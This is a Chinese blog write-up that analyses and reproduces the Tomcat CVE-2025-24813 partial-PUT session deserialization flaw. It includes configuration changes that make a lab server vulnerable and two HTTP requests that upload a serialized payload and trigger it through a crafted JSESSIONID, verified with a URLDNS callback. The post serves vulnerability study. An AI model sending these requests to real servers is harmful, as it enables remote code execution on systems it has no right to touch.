Tomcat CVE-2025-24813 RCE漏洞分析复现

漏洞存在条件

影响版本:

  • 9.0.0.M1 <= tomcat <= 9.0.98
  • 10.1.0-M1 <= tomcat <= 10.1.34
  • 11.0.0-M1 <= tomcat <= 11.0.2

该漏洞利用条件较为复杂,需同时满足以下四个条件:

  1. 应用程序启用了DefaultServlet写入功能,该功能默认关闭
  2. 应用支持了 partial PUT 请求,能够将恶意的序列化数据写入到会话文件中,该功能默认开启
  3. 应用使用了 Tomcat 的文件会话持久化并且使用了默认的会话存储位置,需要额外配置
  4. 应用中包含一个存在反序列化漏洞的库,比如存在于类路径下的 commons-collections,此条件取决于业务实现是否依赖存在反序列化利用链的库

ps:以上内容来源自奇安信攻防社区文章

tomcat 又双叒叕爆洞了,这回入门比较晚的我也吃上热乎的了(

正好也在学 java 安全相关,之前的文章不算太久之前也刚刚做了 tomcat 所有公布的 nday 复现,这次又有一个新洞,直接安排

原理分析

Content-Range 字段在 HTTP PUT 请求中主要用于实现大文件的分块传输。

一般格式是 Content-Range: bytes start-end/total ,其中 total 是资源的总字节大小。例如 Content-Range: bytes 0-499/1234 表示响应返回了文件的前500个字节,而文件总大小为1234字节。

在文件上传未完成的情况下,内容会被临时存储在Tomcat的工作目录:$CATALINA_BASE/work/Catalina/localhost/ROOT

那 Tomcat 为什么会因为这个功能产生一个反序列化的洞呢 ?

核心在于 PUT 请求分片上传时的文件名处理机制:文件上传的路径中的分隔符 / 会被转换为 .

例如:访问/xxxxx/session会被解析为.xxxxx.session

另一个核心点在于,JSESSIONID 的机制

Tomcat 会将会话文件名以 JSESSIONID 为基础,加 .session 后缀存储,当请求包 JSESSIONID 设置为 .xxxxx,那就会去路径下寻找 .xxxxx.session 文件并且解析,解析的时候就会触发反序列化操作,以恢复会话状态

两个要点结合一下,便成了:上传文件,路径设置并解析为 .xxxxx.session,然后再请求一下,JSESSIONID 设置为 .xxxxx,然后就会去寻找我们刚刚上传的那个文件,然后反序列化之,那么如果我们构造一个恶意的序列化数据文件,那就达成了反序列化攻击

整个漏洞的利用过程为:

  1. Tomcat的File会话存储默认路径同样位于:CATALINA_BASE/work/Catalina/localhost/ROOT
  2. 当存在反序列化利用链时,可以上传包含恶意序列化数据的文件
  3. 通过设置JSESSIONID=.xxxxx来触发漏洞

复现开搞

conf/context.xml 添加下面配置

<Context\>  
<Manager className\="org.apache.catalina.session.PersistentManager"\>  
    <Store className\="org.apache.catalina.session.FileStore"/>  
</Manager\>  
</Context\>

开启 File 会话存储,默认路径是 CATALINA_BASE/work/Catalina/localhost/ROOT,大文件分片上传未完成的时候也会临时存储在这里

conf/web.xml 添加下面配置,将DefaultServlet的readonly配置为false,启用写入功能

<servlet\>  
    <servlet-name\>default</servlet-name\>  
    <servlet-class\>org.apache.catalina.servlets.DefaultServlet</servlet-class\>  
    <init-param\>  
        <param-name\>debug</param-name\>  
        <param-value\>0</param-value\>  
    </init-param\>  
    <init-param\>  
        <param-name\>readonly</param-name\>  
        <param-value\>false</param-value\>  
    </init-param\>  
    <load-on-startup\>1</load-on-startup\>  
</servlet\>

接下来就可以开始复现了,先启动好一个 tomcat 环境(提前改好配置)

然后开启 yakit,生成个 dns

然后 Yso-Java Hack 里面生成个 urldns 链子的 payload (urldns 链子的审计我之前文章有发)

然后起 Web Fuzzer

PUT /xxxxx/session HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 1000

Content-Range: bytes 0-1000/1200


{{base64dec(填入数据)}}

记得加 base64dec,因为生成的是序列化数据(二进制文件)的 base64,不解码一下会出问题

然后发包,然后应该是 409 的返回码

之后发下一个包

GET / HTTP/1.1  
Host: 127.0.0.1:8080  
Cookie: JSESSIONID=.xxxxx

然后返回码 500 返回 dnslog 查看

产生解析记录,验证反序列化利用成功

用 urldns 主要是因为不用管依赖,万金油链子

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇